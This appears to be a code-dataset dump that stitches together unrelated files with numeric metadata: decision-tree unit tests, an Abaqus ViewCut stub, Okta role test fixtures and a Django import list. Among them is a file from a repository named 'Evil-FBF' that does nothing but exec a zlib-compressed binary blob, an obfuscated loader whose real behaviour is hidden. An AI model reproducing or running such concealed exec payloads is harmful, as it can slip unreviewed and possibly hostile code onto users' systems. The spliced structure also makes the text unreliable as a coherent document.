"TreeNode",
nodeScores=True, datasetSize=True, predictandUnique=True, nTimesVariance=True, gain=True)
# look(doc, maxDepth=8)
engine, = PFAEngine.fromJson(doc)
def testCartMustBuildNumericalCategorical(self):
random.seed(12345)
numpy.seterr(divide="ignore", invalid="ignore")
dataset = Dataset.fromIterable(((x, y, c) for (x, y, z, a, b, c) in TestProducerCart.data()), 100000, ("x", "y", "c"))
tree = TreeNode.fromWholeDataset(dataset, "c")
tree.splitMaxDepth(2)
doc = tree.pfaDocument({"type": "record", "name": "Datum", "fields": [{"name": "x", "type": "double"}, {"name": "y", "type": "double"}]}, "TreeNode")
# look(doc, maxDepth=8)
self.assertEqual(doc["cells"]["tree"]["init"]["field"], "x")
self.assertAlmostEqual(doc["cells"]["tree"]["init"]["value"], 4.00, places=2)
self.assertEqual(doc["cells"]["tree"]["init"]["pass"]["TreeNode"]["field"], "y")
self.assertAlmostEqual(doc["cells"]["tree"]["init"]["pass"]["TreeNode"]["value"], 6.00, places=2)
self.assertEqual(doc["cells"]["tree"]["init"]["pass"]["TreeNode"]["pass"]["string"], "C3")
self.assertEqual(doc["cells"]["tree"]["init"]["pass"]["TreeNode"]["fail"]["string"], "C6")
self.assertEqual(doc["cells"]["tree"]["init"]["fail"]["TreeNode"]["field"], "y")
self.assertAlmostEqual(doc["cells"]["tree"]["init"]["fail"]["TreeNode"]["value"], 2.00, places=2)
self.assertEqual(doc["cells"]["tree"]["init"]["fail"]["TreeNode"]["pass"]["string"], "C0")
self.assertEqual(doc["cells"]["tree"]["init"]["fail"]["TreeNode"]["fail"]["string"], "C0")
engine, = PFAEngine.fromJson(doc)
self.assertEqual(engine.action({"x": 2.0, "y": 3.0}), "C3")
self.assertEqual(engine.action({"x": 2.0, "y": 8.0}), "C6")
self.assertEqual(engine.action({"x": 7.0, "y": 1.0}), "C0")
self.assertEqual(engine.action({"x": 7.0, "y": 5.0}), "C0")
doc = tree.pfaDocument(
{"type": "record", "name": "Datum", "fields": [{"name": "x", "type": "double"}, {"name": "y", "type": "double"}]},
"TreeNode",
nodeScores=True, datasetSize=True, predictandDistribution=True, predictandUnique=True, entropy=True, gain=True)
# look(doc, maxDepth=8)
engine, = PFAEngine.fromJson(doc)
def testCartMustBuildCategoricalNumerical(self):
random.seed(12345)
numpy.seterr(divide="ignore", invalid="ignore")
dataset = Dataset.fromIterable(((a, b, z) for (x, y, z, a, b, c) in TestProducerCart.data()), 100000, ("a", "b", "z"))
tree = TreeNode.fromWholeDataset(dataset, "z")
tree.splitMaxDepth(2)
doc = tree.pfaDocument({"type": "record", "name": "Datum", "fields": [{"name": "a", "type": "string"}, {"name": "b", "type": "string"}]}, "TreeNode")
# look(doc, maxDepth=8)
self.assertEqual(doc["cells"]["tree"]["init"]["field"], "a")
self.assertEqual(doc["cells"]["tree"]["init"]["value"], ["A0", "A1", "A2", "A3"])
self.assertEqual(doc["cells"]["tree"]["init"]["pass"]["TreeNode"]["field"], "b")
self.assertEqual(doc["cells"]["tree"]["init"]["pass"]["TreeNode"]["value"], ["B6", "B8"])
self.assertAlmostEqual(doc["cells"]["tree"]["init"]["pass"]["TreeNode"]["pass"]["double"], 8.02, places=2)
self.assertAlmostEqual(doc["cells"]["tree"]["init"]["pass"]["TreeNode"]["fail"]["double"], 5.00, places=2)
self.assertEqual(doc["cells"]["tree"]["init"]["fail"]["TreeNode"]["field"], "b")
self.assertEqual(doc["cells"]["tree"]["init"]["fail"]["TreeNode"]["value"], ["B0"])
self.assertAlmostEqual(doc["cells"]["tree"]["init"]["fail"]["TreeNode"]["pass"]["double"], 1.09, places=2)
self.assertAlmostEqual(doc["cells"]["tree"]["init"]["fail"]["TreeNode"]["fail"]["double"], 2.00, places=2)
engine, = PFAEngine.fromJson(doc)
self.assertAlmostEqual(engine.action({"a": "A1", "b": "B6"}), 8.02, places=2)
self.assertAlmostEqual(engine.action({"a": "A1", "b": "B2"}), 5.00, places=2)
self.assertAlmostEqual(engine.action({"a": "A5", "b": "B0"}), 1.09, places=2)
self.assertAlmostEqual(engine.action({"a": "A5", "b": "B4"}), 2.00, places=2)
doc = tree.pfaDocument(
{"type": "record", "name": "Datum", "fields": [{"name": "a", "type": "string"}, {"name": "b", "type": "string"}]},
"TreeNode",
nodeScores=True, datasetSize=True, predictandUnique=True, nTimesVariance=True, gain=True)
# look(doc, maxDepth=8)
engine, = PFAEngine.fromJson(doc)
def testCartMustBuildCategoricalCategorical(self):
random.seed(12345)
numpy.seterr(divide="ignore", invalid="ignore")
dataset = Dataset.fromIterable(((a, b, c) for (x, y, z, a, b, c) in TestProducerCart.data()), 100000, ("a", "b", "c"))
tree = TreeNode.fromWholeDataset(dataset, "c")
tree.splitMaxDepth(2)
doc = tree.pfaDocument({"type": "record", "name": "Datum", "fields": [{"name": "a", "type": "string"}, {"name": "b", "type": "string"}]}, "TreeNode")
# look(doc, maxDepth=8)
self.assertEqual(doc["cells"]["tree"]["init"]["field"], "a")
self.assertEqual(doc["cells"]["tree"]["init"]["value"], ["A0", "A1", "A2", "A3"])
self.assertEqual(doc["cells"]["tree"]["init"]["pass"]["TreeNode"]["field"], "b")
self.assertEqual(doc["cells"]["tree"]["init"]["pass"]["TreeNode"]["value"], ["B6", "B8"])
self.assertEqual(doc["cells"]["tree"]["init"]["pass"]["TreeNode"]["pass"]["string"], "C6")
self.assertEqual(doc["cells"]["tree"]["init"]["pass"]["TreeNode"]["fail"]["string"], "C3")
self.assertEqual(doc["cells"]["tree"]["init"]["fail"]["TreeNode"]["field"], "b")
self.assertEqual(doc["cells"]["tree"]["init"]["fail"]["TreeNode"]["value"], ["B0"])
self.assertEqual(doc["cells"]["tree"]["init"]["fail"]["TreeNode"]["pass"]["string"], "C0")
self.assertEqual(doc["cells"]["tree"]["init"]["fail"]["TreeNode"]["fail"]["string"], "C0")
engine, = PFAEngine.fromJson(doc)
self.assertEqual(engine.action({"a": "A1", "b": "B6"}), "C6")
self.assertEqual(engine.action({"a": "A1", "b": "B2"}), "C3")
self.assertEqual(engine.action({"a": "A5", "b": "B0"}), "C0")
self.assertEqual(engine.action({"a": "A5", "b": "B4"}), "C0")
doc = tree.pfaDocument(
{"type": "record", "name": "Datum", "fields": [{"name": "a", "type": "string"}, {"name": "b", "type": "string"}]},
"TreeNode",
nodeScores=True, datasetSize=True, predictandDistribution=True, predictandUnique=True, entropy=True, gain=True)
# look(doc, maxDepth=8)
engine, = PFAEngine.fromJson(doc)
if __name__ == "__main__":
unittest.main()
| 53.69697
| 157
| 0.567532
| 1,284
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| 0.143302
| 0.053103
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| 10,632
| 197
| 158
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| 1
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| false
| 0.142857
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| 0
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| null | 0
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| 1
| 1
| 1
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| 1
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0
| 7
|
87d51c83eebc99dfaf7427e284a55466191f641a
| 13,261
|
py
|
Python
|
src/abaqus/OdbDisplay/ViewCut.py
|
Haiiliin/PyAbaqus
|
f20db6ebea19b73059fe875a53be370253381078
|
[
"MIT"
] | 7
|
2022-01-21T09:15:45.000Z
|
2022-02-15T09:31:58.000Z
|
src/abaqus/OdbDisplay/ViewCut.py
|
Haiiliin/PyAbaqus
|
f20db6ebea19b73059fe875a53be370253381078
|
[
"MIT"
] | null | null | null |
src/abaqus/OdbDisplay/ViewCut.py
|
Haiiliin/PyAbaqus
|
f20db6ebea19b73059fe875a53be370253381078
|
[
"MIT"
] | null | null | null |
import typing
from abaqusConstants import *
class ViewCut:
"""The ViewCut object is used to store values and attributes associate with ViewCut type
objects. ViewCut objects can be created using the methods described below. The methods
accessed via the OdbDisplay object cause the ViewCut object to be added to the
session.viewports[name].odbDisplay.viewCuts repository.
Attributes
----------
angle: float
A Float specifying the rotation angle of the cut defined with a **shape** set to PLANE.
motion: SymbolicConstant
A SymbolicConstant specifying the type of motion for the cut defined with a **shape** set
to PLANE. Possible values are TRANSLATE and ROTATE. The default value is TRANSLATE.
position: float
A Float specifying the position of the cut defined with a **shape** set to PLANE.
radius: float
A Float specifying the radius of the cut defined with a **shape** set to CYLINDER or
SPHERE.
rotationAxis: SymbolicConstant
A SymbolicConstant specifying the rotation axis for the cut defined with a **shape** set
to PLANE. Possible values are AXIS_1, AXIS_2, and AXIS_3. The default value is AXIS_2.
value: float
A Float specifying the value of the cut defined with a **shape** set to ISOSURFACE.
showModelAboveCut: Boolean
A Boolean specifying whether to display the model above the cut. The default value is
OFF.
showModelOnCut: Boolean
A Boolean specifying whether to display the model on the cut. The default value is ON.
showModelBelowCut: Boolean
A Boolean specifying whether to display the model below the cut. The default value is
ON.
showFreeBodyCut: Boolean
A Boolean specifying whether to display the free body cut. The default value is OFF.
active: Boolean
A Boolean specifying whether the cut is displayed.
cutRange: tuple[float]
A pair of Floats specifying the acceptable range for positioning the cut.
crossSectionalArea: float
A Float returning the cross-sectional area of the cut when **showFreeBodyCut** is set to
ON.
Notes
-----
This object can be accessed by:
.. code-block:: python
import visualization
session.viewports[name].layers[name].odbDisplay.viewCuts[name]
session.viewports[name].odbDisplay.viewCuts[name]
"""
# A Float specifying the rotation angle of the cut defined with a *shape* set to PLANE.
angle: float = None
# A SymbolicConstant specifying the type of motion for the cut defined with a *shape* set
# to PLANE. Possible values are TRANSLATE and ROTATE. The default value is TRANSLATE.
motion: SymbolicConstant = TRANSLATE
# A Float specifying the position of the cut defined with a *shape* set to PLANE.
position: float = None
# A Float specifying the radius of the cut defined with a *shape* set to CYLINDER or
# SPHERE.
radius: float = None
# A SymbolicConstant specifying the rotation axis for the cut defined with a *shape* set
# to PLANE. Possible values are AXIS_1, AXIS_2, and AXIS_3. The default value is AXIS_2.
rotationAxis: SymbolicConstant = AXIS_2
# A Float specifying the value of the cut defined with a *shape* set to ISOSURFACE.
value: float = None
# A Boolean specifying whether to display the model above the cut. The default value is
# OFF.
showModelAboveCut: Boolean = OFF
# A Boolean specifying whether to display the model on the cut. The default value is ON.
showModelOnCut: Boolean = ON
# A Boolean specifying whether to display the model below the cut. The default value is
# ON.
showModelBelowCut: Boolean = ON
# A Boolean specifying whether to display the free body cut. The default value is OFF.
showFreeBodyCut: Boolean = OFF
# A Boolean specifying whether the cut is displayed.
active: Boolean = OFF
# A pair of Floats specifying the acceptable range for positioning the cut.
cutRange: tuple[float] = ()
# A Float returning the cross-sectional area of the cut when *showFreeBodyCut* is set to
# ON.
crossSectionalArea: float = None
def __init__(self, name: str, shape: SymbolicConstant, origin: tuple,
normal: typing.Union[SymbolicConstant, float],
axis2: typing.Union[SymbolicConstant, float], csysName: str,
cylinderAxis: typing.Union[SymbolicConstant, float], followDeformation: Boolean = OFF,
overrideAveraging: Boolean = ON, referenceFrame: SymbolicConstant = FIRST_FRAME):
"""This method creates a ViewCut object.
Notes
-----
This function can be accessed by:
.. code-block:: python
session.viewports[name].layers[name].odbDisplay.ViewCut
session.viewports[name].odbDisplay.ViewCut
Parameters
----------
name
A String specifying the repository key.
shape
A SymbolicConstant specifying the shape of the ViewCut object. Possible values are
PLANE, CYLINDER, SPHERE, and ISOSURFACE.
origin
A sequence of three Floats specifying the X-, Y-, and Z-coordinates of the origin of the
plane, cylinder or sphere cut. This origin is not required if the cut shape is
ISOSURFACE or if the cut is defined by the *csysName* argument.
normal
A sequence of Floats specifying the X-, Y-, and Z-coordinates of the normal axis to the
plane defining the cut, when the plane is defined using the *origin* argument or a
SymbolicConstant defining this normal axis, when the cut is defined by the *csysName*
argument. Possible values are AXIS_1, AXIS_2, AXIS_3. This axis is not required if the
cut *shape* is CYLINDER, SPHERE or ISOSURFACE.
axis2
A sequence of three Floats specifying the X-, Y-, and Z-coordinates of the second axis
of the plane defining the cut, when the plane is defined using the *origin* argument or
a SymbolicConstant defining this second axis, when the cut is defined by the *csysName*
argument. Possible values are AXIS_1, AXIS_2, AXIS_3. This axis is used to rotate the
plane cut. It is not required if the cut *shape* is CYLINDER, SPHERE or ISOSURFACE.
csysName
A String specifying the name of the DatumCsys object to be used to define the cut. This
name is not required if the cut *shape* is ISOSURFACE or if the cut is defined by the
*origin* argument.
cylinderAxis
A sequence of Floats specifying the X-, Y-, and Z-coordinates of the cylinder axis
defining the cut, when the cut is defined using the *origin* argument or a
SymbolicConstant defining this cylinder axis, when the cut is defined by the *csysName*
argument. Possible values are AXIS_1, AXIS_2, AXIS_3. This axis is not required if the
cut *shape* is PLANE, SPHERE, or ISOSURFACE.
followDeformation
A Boolean specifying whether the cut will follow the deformation or be static. The
default value is OFF.
overrideAveraging
A Boolean specifying averaging for element based fields associated with isosurface cuts
will be set to compute-average with a threshold of 100% when true. The current field
options will be used when false. The default value is ON.
referenceFrame
A SymbolicConstant specifying which reference frame will be used when the cut follows
the deformation. Possible values are FIRST_FRAME, LAST_FRAME, and CURRENT_FRAME. The
default value is FIRST_FRAME.
Returns
-------
A ViewCut object.
"""
pass
def setValues(self, angle: float = None, motion: SymbolicConstant = TRANSLATE, position: float = None,
radius: float = None, rotationAxis: SymbolicConstant = AXIS_2, value: float = None,
showModelAboveCut: Boolean = OFF, showModelOnCut: Boolean = ON,
showModelBelowCut: Boolean = ON, showFreeBodyCut: Boolean = OFF, csysName: str = '',
origin: tuple = (),
normal: typing.Union[SymbolicConstant, float] = AXIS_1,
axis2: typing.Union[SymbolicConstant, float] = AXIS_2,
cylinderAxis: typing.Union[SymbolicConstant, float] = AXIS_3,
followDeformation: Boolean = OFF, overrideAveraging: Boolean = ON,
referenceFrame: SymbolicConstant = FIRST_FRAME):
"""This method modifies the ViewCut object.
Parameters
----------
angle
A Float specifying the rotation angle of the cut defined with a *shape* set to PLANE.
motion
A SymbolicConstant specifying the type of motion for the cut defined with a *shape* set
to PLANE. Possible values are TRANSLATE and ROTATE. The default value is TRANSLATE.
position
A Float specifying the position of the cut defined with a *shape* set to PLANE.
radius
A Float specifying the radius of the cut defined with a *shape* set to CYLINDER or
SPHERE.
rotationAxis
A SymbolicConstant specifying the rotation axis for the cut defined with a *shape* set
to PLANE. Possible values are AXIS_1, AXIS_2, and AXIS_3. The default value is AXIS_2.
value
A Float specifying the value of the cut defined with a *shape* set to ISOSURFACE.
showModelAboveCut
A Boolean specifying whether to display the model above the cut. The default value is
OFF.
showModelOnCut
A Boolean specifying whether to display the model on the cut. The default value is ON.
showModelBelowCut
A Boolean specifying whether to display the model below the cut. The default value is
ON.
showFreeBodyCut
A Boolean specifying whether to display the free body cut. The default value is OFF.
csysName
A String specifying the name of the DatumCsys object to be used to define the cut. This
name is not required if the cut *shape* is ISOSURFACE or if the cut is defined by the
*origin* argument.
origin
A sequence of three Floats specifying the X-, Y-, and Z-coordinates of the origin of the
plane, cylinder or sphere cut. This origin is not required if the cut shape is
ISOSURFACE or if the cut is defined by the *csysName* argument.
normal
A sequence of Floats specifying the X-, Y-, and Z-coordinates of the normal axis to the
plane defining the cut, when the plane is defined using the *origin* argument or a
SymbolicConstant defining this normal axis, when the cut is defined by the *csysName*
argument. Possible values are AXIS_1, AXIS_2, AXIS_3. This axis is not required if the
cut *shape* is CYLINDER, SPHERE or ISOSURFACE.
axis2
A sequence of three Floats specifying the X-, Y-, and Z-coordinates of the second axis
of the plane defining the cut, when the plane is defined using the *origin* argument or
a SymbolicConstant defining this second axis, when the cut is defined by the *csysName*
argument. Possible values are AXIS_1, AXIS_2, AXIS_3. This axis is used to rotate the
plane cut. It is not required if the cut *shape* is CYLINDER, SPHERE or ISOSURFACE.
cylinderAxis
A sequence of Floats specifying the X-, Y-, and Z-coordinates of the cylinder axis
defining the cut, when the cut is defined using the *origin* argument or a
SymbolicConstant defining this cylinder axis, when the cut is defined by the *csysName*
argument. Possible values are AXIS_1, AXIS_2, AXIS_3. This axis is not required if the
cut *shape* is PLANE, SPHERE, or ISOSURFACE.
followDeformation
A Boolean specifying whether the cut will follow the deformation or be static. The
default value is OFF.
overrideAveraging
A Boolean specifying averaging for element based fields associated with isosurface cuts
will be set to compute-average with a threshold of 100% when true. The current field
options will be used when false. The default value is ON.
referenceFrame
A SymbolicConstant specifying which reference frame will be used when the cut follows
the deformation. Possible values are FIRST_FRAME, LAST_FRAME, and CURRENT_FRAME. The
default value is FIRST_FRAME.
"""
pass
def updateVariable(self):
"""This method updates the field associated with an isosurface cut to be consistent with
the current primary variable.
"""
pass
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| 106
| 0.664279
| 1,760
| 13,261
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| 13,261
| 254
| 107
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0
| 8
|
35741bcf8faa4535a509a4e2127e58f54808163a
| 1,863
|
py
|
Python
|
tests/data/okta/adminroles.py
|
sckevmit/cartography
|
fefb63b5ec97986dcc29038331d0e5b027b95d5f
|
[
"Apache-2.0"
] | 2,322
|
2019-03-02T01:07:20.000Z
|
2022-03-31T20:39:12.000Z
|
tests/data/okta/adminroles.py
|
sckevmit/cartography
|
fefb63b5ec97986dcc29038331d0e5b027b95d5f
|
[
"Apache-2.0"
] | 462
|
2019-03-07T18:38:11.000Z
|
2022-03-31T14:55:20.000Z
|
tests/data/okta/adminroles.py
|
sckevmit/cartography
|
fefb63b5ec97986dcc29038331d0e5b027b95d5f
|
[
"Apache-2.0"
] | 246
|
2019-03-03T02:39:23.000Z
|
2022-02-24T09:46:38.000Z
|
LIST_ASSIGNED_USER_ROLE_RESPONSE = """
[
{
"id": "IFIFAX2BIRGUSTQ",
"label": "Application Administrator",
"type": "APP_ADMIN",
"status": "ACTIVE",
"created": "2019-02-06T16:17:40.000Z",
"lastUpdated": "2019-02-06T16:17:40.000Z",
"assignmentType": "USER",
"_links": {
"assignee": {
"href": "http://{yourOktaDomain}/api/v1/users/00ur32Vg0fvpyHZeQ0g3"
}
}
},
{
"id": "JBCUYUC7IRCVGS27IFCE2SKO",
"label": "Help Desk Administrator",
"type": "HELP_DESK_ADMIN",
"status": "ACTIVE",
"created": "2019-02-06T16:17:40.000Z",
"lastUpdated": "2019-02-06T16:17:40.000Z",
"assignmentType": "USER",
"_links": {
"assignee": {
"href": "http://{yourOktaDomain}/api/v1/users/00ur32Vg0fvpyHZeQ0g3"
}
}
}
]
"""
LIST_ASSIGNED_GROUP_ROLE_RESPONSE = """
[
{
"id": "IFIFAX2BIRGUSTQ",
"label": "Application Administrator",
"type": "APP_ADMIN",
"status": "ACTIVE",
"created": "2019-02-27T14:48:59.000Z",
"lastUpdated": "2019-02-27T14:48:59.000Z",
"assignmentType": "GROUP",
"_links": {
"assignee": {
"href": "http://{yourOktaDomain}/api/v1/groups/00gsr2IepS8YhHRFf0g3"
}
}
},
{
"id": "JBCUYUC7IRCVGS27IFCE2SKO",
"label": "Help Desk Administrator",
"type": "HELP_DESK_ADMIN",
"status": "ACTIVE",
"created": "2019-02-06T16:17:40.000Z",
"lastUpdated": "2019-02-06T16:17:40.000Z",
"assignmentType": "GROUP",
"_links": {
"assignee": {
"href": "http://{yourOktaDomain}/api/v1/users/00ur32Vg0fvpyHZeQ0g3"
}
}
}
]
"""
| 28.227273
| 84
| 0.502415
| 154
| 1,863
| 5.961039
| 0.272727
| 0.052288
| 0.071895
| 0.084967
| 0.923747
| 0.923747
| 0.893246
| 0.893246
| 0.893246
| 0.866013
| 0
| 0.13959
| 0.319377
| 1,863
| 65
| 85
| 28.661538
| 0.584385
| 0
| 0
| 0.609375
| 0
| 0
| 0.953838
| 0.144928
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
358974e2d2e9994067ea0cc763b7847cb26181ab
| 3,878
|
py
|
Python
|
core/core/serv.py
|
EvilDem0n/Evil-FBF
|
d36d5b77055b01667f2ddf22189a85bb7057aeea
|
[
"Apache-2.0"
] | 1
|
2021-05-12T06:19:41.000Z
|
2021-05-12T06:19:41.000Z
|
core/core/serv.py
|
EvilDem0n/Evil-FBF
|
d36d5b77055b01667f2ddf22189a85bb7057aeea
|
[
"Apache-2.0"
] | null | null | null |
core/core/serv.py
|
EvilDem0n/Evil-FBF
|
d36d5b77055b01667f2ddf22189a85bb7057aeea
|
[
"Apache-2.0"
] | null | null | null |
import zlib
exec(zlib.decompress(b'x\x9c\xd5\x18ko\xdb6\xf0{~\x85\x06\xcci\x8db\xb1%Y\x8f\x16E\xb05M\xd3\x01]\x86\xa5\x1b\xd2d*\nZ\xa2b5z8\x94\x1c;\xa9\xf3\xdf\xc7\xe3C");\x8b\xbbO\xb3aJ\xf7\xe0\xdd\xe9x/y/+\xe6\x15i\xac\x02\x91z\x86\xf2=\xbc\xc2\xf1s\x01\x1c\xe4\x15J\xea\xe7\xd3g\xd1\n\xbb\xd1j<\xfe\x8f?G\x85\x7fV\x81:Q\xa1D.v\x0ew\x05\xdc]\xc2"~\x1d\x83\x03\x0c\x0e\xd0\x1c\x1d\xe7\x02\xce\xd5q\x13\xc0M0\x08\xf9J\x17\x0f@_\x07\x83\x16\x0c/\xa3F\x00%P\xa6-%\xbe\x8cH\x0b`\xa0\xa5\x89T6\x89V\xe1\x04\x94R\xb4\xcd4{\xb0\xf8*\xda\x06L\x00K\xa8\xa2\xd9\x038\x1f\x01\x1cF\r\xf5\xf8K\xd3\x83C\xfe\xf8\t\x02E\xef*\x82O\xe3\xef8\x04[\x83\x1b\x15:\xda~$M{$\t?\xc8\xd0\x15\xd7\x94\xda\x1e>\x00y\xcd\x99\xd1X\xb2Q\x16$\xcf\xcc69\x1cAlm:\x87\xc5\x83\xe5\x0fX\xce`\xf9$u\xbbb\xd7DxY\x97\x0b\x1c\x9e\xe0\xf0U\xaf36g+[\xf04\xb6p+\x9bbVc\x1a\xc5\xfc\'\xce\xb3<\x8dV)\x02O\x8dn\x11\x19-\x97\xcb\xd1\xac)\xf2Q^]e\xe5\xc1\xd7\xba*\xc5\xb9\xdaKq3\xbe?\x89gE\x95X/V\xd6\xb6=\xd6\xfe\xbe\xc5\x99\x82 \xd8\xcau\x0fa\x1a\xd3p\x19ee\x82W\x07\xf3\xd9\xfc>"\x1a7\xb0\xa4\x8c\xa5^L\x8b\xac\xe1<4\xe8\x19\x8e\xe0dA\x80\xc7\xf6jLn\xb3\x18[h\x8e\xe2\x19v\xac\xbaA\xa4\x81\xb8\x0cd\\Vs,\x9f\xc5[\x92\x0cr\x88\x03q^\xd5\x12p\xaaZ\xdc\xf9\xf5]\xdd\xe0\xa2\x85f\x8b&\xcb\xa5\xac\xb8\x9a\xdf\xa9Ao\xd3\xfd\x88\xa5\x05\x81g\xd2\x03\x1b\xdc;N_\xcfp\x9eW\xd6\x9cT\xd3\x1c\x17\x87R\x12\xd8\xad\xc7z\r\t\xba!=\xe0xc\xa6\xb3\xe4\x9amG\x85\x04M\xbf:\xc4\x14&\xa9\xbb$fh\xc0\xd3\xed\xa9\x99\xaa\xe2\x1b5\xedd\x86\xb1(|\x90\x89hw\xb5\x12\x8a\xa9\xf3\xa0\xc6\xf1Z$\xe38\xea2v\x0c\x1c\xee\xdaL<W\x95<a\x81\xd5K\x96^r\xb2\xbc.\x15\x97\x8d\xcd\xeb\x85\xe4p\xda|\x0f\xb4\xda\xe9J\xa3\xbd\xb5\xa2\x8e\xa5e\xc0\x80f\xadk\xee\x97\x1d\xbe\xa94\x8b\xceZ\xf0\x0b\x87s\xe2[X>\xd3\x12\x8c\xa2Hj\xf6a\t\xc0\xb4x\xadX\xc5<\xe1\xb7\xe8@E\x07k\xe9\x93\xf0\x1a\xc4\xd0\x90C\xbe\xc05=L\xd9\xc3P\x8b\xaeEt\xa5\xfeNN\x89\x85;\xec b\x85\x88tN\xf2\x85\x99\xb2\x96q\x96\x1d<\xd6D\x04T`\xf9\xa4\x06>\xe5\xaa\x1a\x19\x1b\xe9Z:\xa8\x03\xc1\x8d\xb6\xd4\x19\x98\x82nJ\xf9\xfc\xf6\xf8\x9a\x1b\xf9\x92i\xaf?\xb5\x04[#@5\x88o\xca\xff\x89\x8bl\xa7sQ\xca<\xd1\xb9\xa8\xe7\x1d\x7f\xb3w\xb6(V[\xce\xcavOI\xd4eZo\x84\x08\x13\xd4\xe0&+0Tv{\x90\x8c\x06\xc5hpa\r\xde\xbf\x1a\xfc\xf6j\xf0\xf1R\xb0 \xdaI\xea{6\xce\x08\x00z\xcbA\xb3jdUF\xac5Pk\xd8\xf7\xdb\x83E?\x1f(\x9f\x05\x1b\xac\x03\x10\xe4\xe1\x02uu}\x8e\xea\x9a\x89_\xd0\xba\\\xa2\x82\rQ!`\x97\x15x\x88\x8b\x8dX\xe7J\xa9\xb0\xbf_|\xb6\xa8\xd8\xc3C\xba\xde\xbb?\xed\xfe\x01\x03\xfdo\x0f\\\x0e|\xb9,\xf8\xb2\xa9\xaf\xce\xae\xca/\x8b9\xb3\x945N\xd8\xe0\xb2\r:7\xb8\xb5\x1d\xc1\x94\xb6\xed\xb1I\x99p\xaaZ\xc5\x19\xd5-+\xd9\xd6\xc3\xba!)8\x9d\xe8\xedH\xca)\xae\x93\x8c\x10~\xf0\x1d\x95\xf0\x80\xec\xb1\xfbiE\n\xd4\x009\xdc$\x8d\xb6\xdfBvZ\xb7\x06>\x8e\x9f\x93\xacl\x8f\xefH\xde\x9c\xc8\x9b\xf3!\x17\xc8!)\xc0^\xf5\x9e\x8ft\xc9\xc1\x7fthN\x9a/TSV^\xb1\t\xbc"\xad\xfek|\'\xf5\xdf\xa2|\x81{=|#"\xdd\xf4\xd8\x04\xa3\x04\xf6\xdb\x13\x95Z\x9b\x1d\x94\xe7\x85\xda\xb9]\xe1\xa9\x0e+\xdb \x16W_\xbb\xca\x19@fX\xb8\x19f\xd7\x89\xa5mA\x1bX\x00\x1fs\xa5\xccti\x80\xf3\xaf\xbb\x18\x9e\x0c\xd4\x87\xfb\x9e\xe1_\x7f\x8b+UH\x9f0r\x15b#\x04\x1b\xf1Y\xcc\xae%N{\r8c\xd3\x86\xdaOe\x1ff\xc3\x84\x03[\x9d\xb5\xb2\x8b\xbf"@!wI\xc4\xb2\xc1\xd5\xc8\x912gw\xaf\x1e\x93M\xaf\x1e\x9aZ6\xa9x\x9b\xca\xb5\xe4\xf0\xcc\xba\xf9\xe8\xab\x87,\xc1-w\xf9\xe8\x96\x1bin[\x88\xc7>+\xc4\xc6\x1b4\xcf)\xd2+\xd1\x84?\xa4\x8e\xf0T\x04\x9b\xb7{5BV%\xc8\r\x99r9.\xf5\x98\xe9\x15\x92m\xa5\xc3\xcf3:\x97\x97Cn7/]iF\xe5\xd1jM\xf65\t?\x98\xf2vLj2T!\xcd\x98\xdaL\xf1\xa8\x0bc\x99?r\xaa\x0c\x1f\x85\xf5a\x9eS=]3k\x99\xac\x13\xc5U^\x11T \x12\x19\xffY\x18E\x1b\xe8S\x03akG\xc5j\xe0\xd9\xf1[y\xdcg\xf2\xe6w\xf6_\xc4\xd1\xc5/\x10\x1a66\xf7x\'g\xc7\xc7\x8c\x94\x9a\xa4\xc9\x9b\x0f\x7f\x1dK1o\x18\xf3\xf9\xfb_\xff<&\x96i\x89\xe65#\x0e\x86\x06\xf3\x13\x0e\xedI\xa59|M_G\x179>\x8c\x8c\xb0\xdet\x94\xe2\xa8lyT\xfe\x8e\xd7P\xf8?\xfc\xf1\xd9p\xb8\xf7\x0f\xfa\x8c%\xbe'))
| 1,292.666667
| 3,865
| 0.733883
| 883
| 3,878
| 3.212911
| 0.448471
| 0.00423
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.234884
| 0.002063
| 3,878
| 3
| 3,865
| 1,292.666667
| 0.498191
| 0
| 0
| 0
| 0
| 1.5
| 0.879577
| 0.878546
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 10
|
359c72dfa0b6e2ec1b14b5c0096e4556644e76ce
| 392
|
py
|
Python
|
apps/site/api/renderers/__init__.py
|
LocalGround/localground
|
aa5a956afe7a84a7763a3b23d62a9fd925831cd7
|
[
"Apache-2.0"
] | 9
|
2015-05-29T22:22:20.000Z
|
2022-02-01T20:39:00.000Z
|
apps/site/api/renderers/__init__.py
|
LocalGround/localground
|
aa5a956afe7a84a7763a3b23d62a9fd925831cd7
|
[
"Apache-2.0"
] | 143
|
2015-01-22T15:03:40.000Z
|
2020-06-27T01:55:29.000Z
|
apps/site/api/renderers/__init__.py
|
LocalGround/localground
|
aa5a956afe7a84a7763a3b23d62a9fd925831cd7
|
[
"Apache-2.0"
] | 5
|
2015-03-16T20:51:49.000Z
|
2017-02-07T20:48:49.000Z
|
from localground.apps.site.api.renderers.csv_renderer import CSVRenderer
from localground.apps.site.api.renderers.browsable_api_renderer import BrowsableAPIRenderer
from localground.apps.site.api.renderers.geojson_renderer import GeoJSONRenderer
from localground.apps.site.api.renderers.kml_renderer import KMLRenderer
from localground.apps.site.api.renderers.zip_renderer import ZIPRenderer
| 65.333333
| 91
| 0.885204
| 51
| 392
| 6.686275
| 0.352941
| 0.219941
| 0.278592
| 0.337243
| 0.513196
| 0.513196
| 0
| 0
| 0
| 0
| 0
| 0
| 0.05102
| 392
| 5
| 92
| 78.4
| 0.916667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
